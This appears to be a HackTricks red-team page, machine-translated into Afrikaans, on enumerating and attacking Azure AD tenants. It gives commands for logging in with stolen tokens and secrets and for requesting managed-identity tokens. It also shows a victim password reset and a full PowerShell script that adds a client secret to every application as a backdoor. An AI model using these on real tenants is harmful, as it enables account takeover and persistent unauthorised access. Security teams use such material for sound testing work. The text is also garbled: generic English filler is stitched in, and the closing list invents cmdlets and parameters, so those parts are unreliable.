Az - AzureAD (AAD)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit en toegangsbestuur. Dit is instrumenteel om werknemers in staat te stel om aan te meld en toegang te verkry tot hulpbronne, beide binne en buite die organisasie, wat Microsoft 365, die Azure-portaal en 'n verskeidenheid ander SaaS-toepassings insluit. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteitsdienste, wat prominente outentifikasie, magtiging en gebruikersbestuur insluit.

Belangrike kenmerke van Azure AD behels multi-faktor outentifikasie en voorwaardelike toegang, tesame met naadlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie kenmerke verhoog die veiligheid van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleid doeltreffend te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkgebaseerde dienste-ekosisteem, is Azure AD essensieel vir die wolkgebaseerde bestuur van gebruikersidentiteite.

Entiteite

Opname

Vir hierdie opname kan jy die az cli-werktuig, die PowerShell-module AzureAD (of AzureAD Preview) en die Az PowerShell-module gebruik.

In Linux moet jy PowerShell Core installeer:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Moduleverskille

  • AzureAD is 'n PowerShell-module van Microsoft vir die bestuur van Azure AD. Dit wys nie al die eienskappe van Azure AD-voorwerpe nie en kan nie gebruik word om toegang tot Azure-broninligting te verkry nie.

  • Az PowerShell is 'n module vir die bestuur van Azure-bronne vanaf die PowerShell-opdraglyn.

Verbinding

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Azure AD

Azure AD (Azure Active Directory) is Microsoft's cloud-based identity and access management service. It provides a comprehensive set of capabilities to manage users, groups, and applications, and enables secure access to resources in the Azure cloud.

Azure AD Roles and Permissions

Azure AD uses roles and permissions to control access to resources. There are several built-in roles with different levels of access, such as Global Administrator, User Administrator, and Application Administrator. You can also create custom roles with specific permissions.

To manage roles and permissions in Azure AD, you can use the Azure portal, Azure PowerShell, or the Azure CLI.

Azure AD Authentication Methods

Azure AD supports various authentication methods, including:

  • Password-based authentication: Users authenticate with a username and password.

  • Multi-factor authentication (MFA): Users are required to provide additional verification, such as a phone call, text message, or mobile app notification.

  • Azure AD Connect: Allows synchronization of on-premises Active Directory with Azure AD, enabling users to use their on-premises credentials to authenticate in the cloud.

  • Azure AD B2C: Provides identity and access management for customer-facing applications, allowing users to sign in with social media accounts or create new accounts.

Azure AD Security Best Practices

To ensure the security of your Azure AD environment, consider implementing the following best practices:

  • Enable MFA for all users to add an extra layer of security.

  • Regularly review and update user roles and permissions to ensure least privilege access.

  • Monitor and analyze Azure AD logs for suspicious activities.

  • Enable Azure AD Privileged Identity Management (PIM) to manage and control access to privileged roles.

  • Implement Conditional Access policies to enforce specific security requirements based on user, device, and location.

  • Regularly review and update password policies to enforce strong passwords and password expiration.

  • Enable Azure AD Identity Protection to detect and respond to identity-based attacks.

By following these best practices, you can enhance the security of your Azure AD environment and protect your organization's resources from unauthorized access.

Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Conenct with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

Wanneer jy aanmeld via CLI in Azure met enige program, gebruik jy 'n Azure-toepassing van 'n huurder wat aan Microsoft behoort. Hierdie Toepassings, soos diegene wat jy in jou rekening kan skep, het 'n kliënt-ID. Jy sal nie almal kan sien in die toegelate toepassingslys wat jy in die konsole kan sien nie, maar hulle is standaard toegelaat.

Byvoorbeeld, 'n powershell-skrip wat verifieer gebruik 'n toepassing met kliënt-ID 1950a258-227b-4e31-a9cf-717495945fc2. Selfs al verskyn die toepassing nie in die konsole nie, kan 'n stelseladministrateur daardie toepassing blokkeer sodat gebruikers nie toegang kan verkry deur middel van gereedskap wat via daardie Toepassing verbind nie.

Daar is egter ander kliënt-ID's van toepassings wat jou sal toelaat om met Azure te verbind:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Gebruikers

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Verander Gebruiker Wagwoord

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Voorwaardelike Toegangsbeleide

Dit word sterk aanbeveel om MFA by elke gebruiker toe te voeg, maar sommige maatskappye sal dit nie instel nie of dit met 'n Voorwaardelike Toegang instel: Die gebruiker sal verpligte MFA benodig as dit vanaf 'n spesifieke plek, webblaaier of sekere voorwaarde aanmeld. Hierdie beleide kan egter vatbaar wees vir omseilings as dit nie korrek gekonfigureer is nie. Kontroleer:

Az - Conditional Access Policies / MFA Bypass

Groepe

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Voeg gebruiker by groep

Eienaars van die groep kan nuwe gebruikers by die groep voeg

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Groepe kan dinamies wees, wat basies beteken dat as 'n gebruiker aan sekere voorwaardes voldoen, hy by 'n groep gevoeg sal word. Natuurlik, as die voorwaardes gebaseer is op eienskappe wat 'n gebruiker kan beheer, kan hy hierdie funksie misbruik om in ander groepe in te dring. Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy:

Az - Dynamic Groups Privesc

Diensbeginsels / Ondernemingsaansoeke

Let daarop dat Diensbeginsel in PowerShell-terminologie Enterprise Applications genoem word in die Azure-portaal (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Die Eienaar van 'n Diensprinsipaal kan sy wagwoord verander.

Lys en probeer om 'n kliëntgeheim by elke Ondernemingsprogram by te voeg

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Rolle

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

Azure AD

Introduction

Azure Active Directory (Azure AD) is a cloud-based identity and access management service provided by Microsoft. It allows organizations to manage user identities and control access to resources in the Azure cloud environment.

Azure AD Security

Azure AD provides various security features to protect user identities and data. These include:

  • Multi-factor authentication (MFA): Requires users to provide additional verification, such as a code sent to their mobile device, in addition to their password.

  • Conditional Access: Allows organizations to define policies that control access to resources based on specific conditions, such as user location or device compliance.

  • Identity Protection: Detects and responds to suspicious activities and potential identity threats.

  • Privileged Identity Management (PIM): Provides just-in-time access to privileged roles, reducing the risk of unauthorized access.

  • Azure AD Connect: Synchronizes on-premises Active Directory with Azure AD, ensuring a consistent identity experience for users.

Azure AD Pentesting

Pentesting Azure AD involves assessing the security of an organization's Azure AD implementation. This includes identifying vulnerabilities and misconfigurations that could be exploited by attackers.

Some common techniques used in Azure AD pentesting include:

  • Password spraying: Attempting to authenticate using a small number of commonly used passwords against multiple user accounts.

  • Brute-forcing: Attempting to guess a user's password by systematically trying all possible combinations.

  • Enumeration: Gathering information about user accounts, groups, and permissions to identify potential targets.

  • Phishing: Sending fraudulent emails or messages to trick users into revealing their credentials.

  • Exploiting misconfigurations: Taking advantage of misconfigured settings or permissions to gain unauthorized access.

Conclusion

Azure AD is a powerful identity and access management service that provides various security features to protect user identities and data. However, it is important for organizations to regularly assess the security of their Azure AD implementation to identify and address any vulnerabilities or misconfigurations. Pentesting Azure AD can help organizations identify potential weaknesses and improve their overall security posture.

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Toegang tot toestelle

# If you know how to do this send a PR!Azure AD# Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

As 'n toestel (VM) AzureAD-gekoppel is, sal gebruikers van AzureAD kan aanmeld. Verder, as die aangemelde gebruiker die eienaar van die toestel is, sal hy plaaslike administrateur wees.

Aansoeke

Aansoeke is Aansoekregistrasies in die portaal (nie Ondernemingsaansoeke nie). Maar elke Aansoekregistrasie sal 'n Ondernemingsaansoek (Diensprinsipaal) met dieselfde naam skep. Verder, as die Aansoek 'n veelhuurder Aansoek is, sal nog 'n Ondernemingsaansoek (Diensprinsipaal) met dieselfde naam in daardie huurder geskep word.

Wanneer 'n Aansoek gegenereer word, word 2 tipes toestemmings gegee:

  • Toestemmings wat aan die Diensprinsipaal gegee word

  • Toestemmings wat die aansoek kan hê en gebruik namens die gebruiker.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

Hier is 'n paar nuttige Az PowerShell-opdragte wat gebruik kan word om Azure AD te ondersoek en te pentest:

Verkry Azure AD-gebruikers

Get-AzADUser

Verkry Azure AD-groepe

Get-AzADGroup

Verkry Azure AD-rolle

Get-AzADRoleDefinition

Verkry Azure AD-toestemmings

Get-AzADServicePrincipalPermission

Verkry Azure AD-toepassings

Get-AzADApplication

Verkry Azure AD-toepassingsrolle

Get-AzADApplicationRoleDefinition

Verkry Azure AD-toepassingsgeheime

Get-AzADAppCredential

Verkry Azure AD-toepassingsverbindings

Get-AzADAppCredential -Filter "Type eq 'Password'"

Verkry Azure AD-toepassingsverbindingsgeheime

Get-AzADAppCredential -Filter "Type eq 'Password' and StartsWith(DisplayName, 'Azure AD App Proxy Connector')"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID en toepassingsrol-ID)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>" -ApplicationRoleId "<toepassingsrol-ID>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID en toepassingsrol-ID en toepassingsrolnaam)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>" -ApplicationRoleId "<toepassingsrol-ID>" -ApplicationRoleName "<toepassingsrolnaam>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID en toepassingsrol-ID en toepassingsrolnaam en geheime-waarde)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>" -ApplicationRoleId "<toepassingsrol-ID>" -ApplicationRoleName "<toepassingsrolnaam>" -SecretValue "<geheime-waarde>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID en toepassingsrol-ID en toepassingsrolnaam en geheime-waarde en geheime-waarde-type)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>" -ApplicationRoleId "<toepassingsrol-ID>" -ApplicationRoleName "<toepassingsrolnaam>" -SecretValue "<geheime-waarde>" -SecretValueType "<geheime-waarde-tipe>"

Verkry Azure AD-toepassingsverbindingsgeheime (gefilter op toepassings-ID en geheime-ID en toepassingsrol-ID en toepassingsrolnaam en geheime-waarde en geheime-waarde-type en geheime-waarde-gebruiker)

Get-AzADAppCredential -ApplicationId "<toepassings-ID>" -KeyId "<geheime-ID>" -ApplicationRoleId "<toepassingsrol-ID>" -ApplicationRoleName "<toepassingsrolnaam>" -SecretValue "<geheime-waarde>" -SecretValueType "<geheime-waarde-tipe>" -SecretValueUser "<geheime-waarde-gebruiker>"